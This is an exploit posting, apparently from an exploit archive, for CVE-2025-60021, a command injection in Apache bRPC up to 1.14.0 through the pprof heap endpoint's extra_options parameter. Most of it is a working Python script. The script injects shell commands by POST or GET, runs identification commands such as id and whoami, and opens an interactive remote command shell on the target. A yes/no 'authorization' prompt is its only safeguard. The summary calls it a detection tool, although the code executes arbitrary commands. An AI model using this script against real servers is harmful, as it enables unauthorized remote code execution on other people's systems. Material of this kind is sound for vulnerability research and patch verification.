============================================================================================================================================= | # Title : Apache bRPC <= 1.14.0 Command Injection Vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://brpc.apache.org/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/214044/ & CVE-2025-60021 [+] Summary : This Python tool is a structured security testing script designed to detect potential command injection exposure in Apache bRPC versions up to 1.14.0 via exposed pprof endpoints. From a software engineering perspective, the code is syntactically correct, stable, and well-structured, using a class-based design, proper error handling, and modular functions for endpoint checking, payload handling, and response parsing. The tool implements multiple detection techniques (time-based behavior, content reflection, and response analysis) and includes advanced output parsing logic to reduce noise. While the program logic is technically sound, some detection methods may lead to false positives due to network latency, permissive parsing, or environmental factors. Overall, the script demonstrates a high level of Python code quality and organization, suitable for controlled security research and detection-oriented analysis, though results should always be manually validated. [+]PoC : #!/usr/bin/env python3 import requests import sys import urllib.parse from typing import Optional class BRPCExploit: def __init__(self, target_url: str): self.target_url = target_url.rstrip('/') self.session = requests.Session() self.timeout = 10 def check_vulnerable(self) -> bool: """Check if target is potentially vulnerable""" try: response = self.session.get(f"{self.target_url}/pprof/heap", timeout=self.timeout) return response.status_code != 404 except requests.RequestException: return False def execute_command(self, command: str, method: str = 'POST') -> Optional[str]: """ Execute command via extra_options parameter Args: command: Command to execute method: HTTP method (POST or GET) """ safe_command = command.strip() if method.upper() == 'POST': data = { 'extra_options': f';{safe_command};echo "---END---"' } try: response = self.session.post( f"{self.target_url}/pprof/heap", data=data, timeout=self.timeout ) return response.text except requests.RequestException as e: print(f"[-] Error: {e}") return None elif method.upper() == 'GET': encoded_cmd = urllib.parse.quote(f';{safe_command};echo "---END---"') url = f"{self.target_url}/pprof/heap?extra_options={encoded_cmd}" try: response = self.session.get(url, timeout=self.timeout) return response.text except requests.RequestException as e: print(f"[-] Error: {e}") return None else: print("[-] Invalid method. Use POST or GET") return None def test_safe_commands(self): """Test with harmless commands for verification""" test_commands = [ "id", "whoami", "uname -a", "pwd" ] print("[*] Testing with safe commands...") for cmd in test_commands: print(f"\n[*] Executing: {cmd}") result = self.execute_command(cmd, 'POST') if result: lines = result.split('\n') for i, line in enumerate(lines): if '---END---' in line and i > 0: output = lines[i-1].strip() if output and not 'pprof' in output.lower(): print(f"[+] Output: {output}") break else: print("[-] No clear output found") def interactive_shell(self): """Start an interactive command shell""" print("[*] Starting interactive shell (type 'exit' to quit)") print("[*] Note: Limited output parsing") while True: try: cmd = input("bRPC$ ").strip() if cmd.lower() in ['exit', 'quit']: break if not cmd: continue result = self.execute_command(cmd, 'POST') if result: lines = result.split('\n') for line in lines: if line and '---END---' not in line: if 'pprof' not in line.lower() and 'heap' not in line.lower(): print(line[:200]) else: print("[-] No response") except KeyboardInterrupt: print("\n[*] Exiting...") break except Exception as e: print(f"[-] Error: {e}") def main(): if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} ") print("Example: python3 poc.py http://192.168.1.100:9002") sys.exit(1) target = sys.argv[1] exploit = BRPCExploit(target) print(f"[*] Target: {target}") print("[*] Checking if vulnerable...") if not exploit.check_vulnerable(): print("[-] Target does not appear to have pprof endpoint") print("[-] Note: Service might be on different port (try :9002)") sys.exit(1) print("[+] pprof endpoint found") print("[*] Testing command injection...") result = exploit.execute_command("echo 'TEST_SUCCESS'", 'POST') if result and 'TEST_SUCCESS' in result: print("[+] Target is VULNERABLE to CVE-2025-60021") print("\n[?] Choose action:") print(" 1. Run safe test commands") print(" 2. Start interactive shell") print(" 3. Exit") choice = input("[>] Select (1-3): ").strip() if choice == '1': exploit.test_safe_commands() elif choice == '2': exploit.interactive_shell() else: print("[*] Exiting...") else: print("[-] Target does not appear vulnerable") print("[-] Note: May be patched or different configuration") if __name__ == "__main__": print("=" * 60) print("CVE-2025-60021 Apache bRPC Command Injection PoC") print("FOR AUTHORIZED SECURITY TESTING ONLY") print("Unauthorized use is illegal and unethical") print("=" * 60) print() confirm = input("[?] Do you have authorization to test? (yes/no): ") if confirm.lower() != 'yes': print("[-] Exiting...") sys.exit(0) main() Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================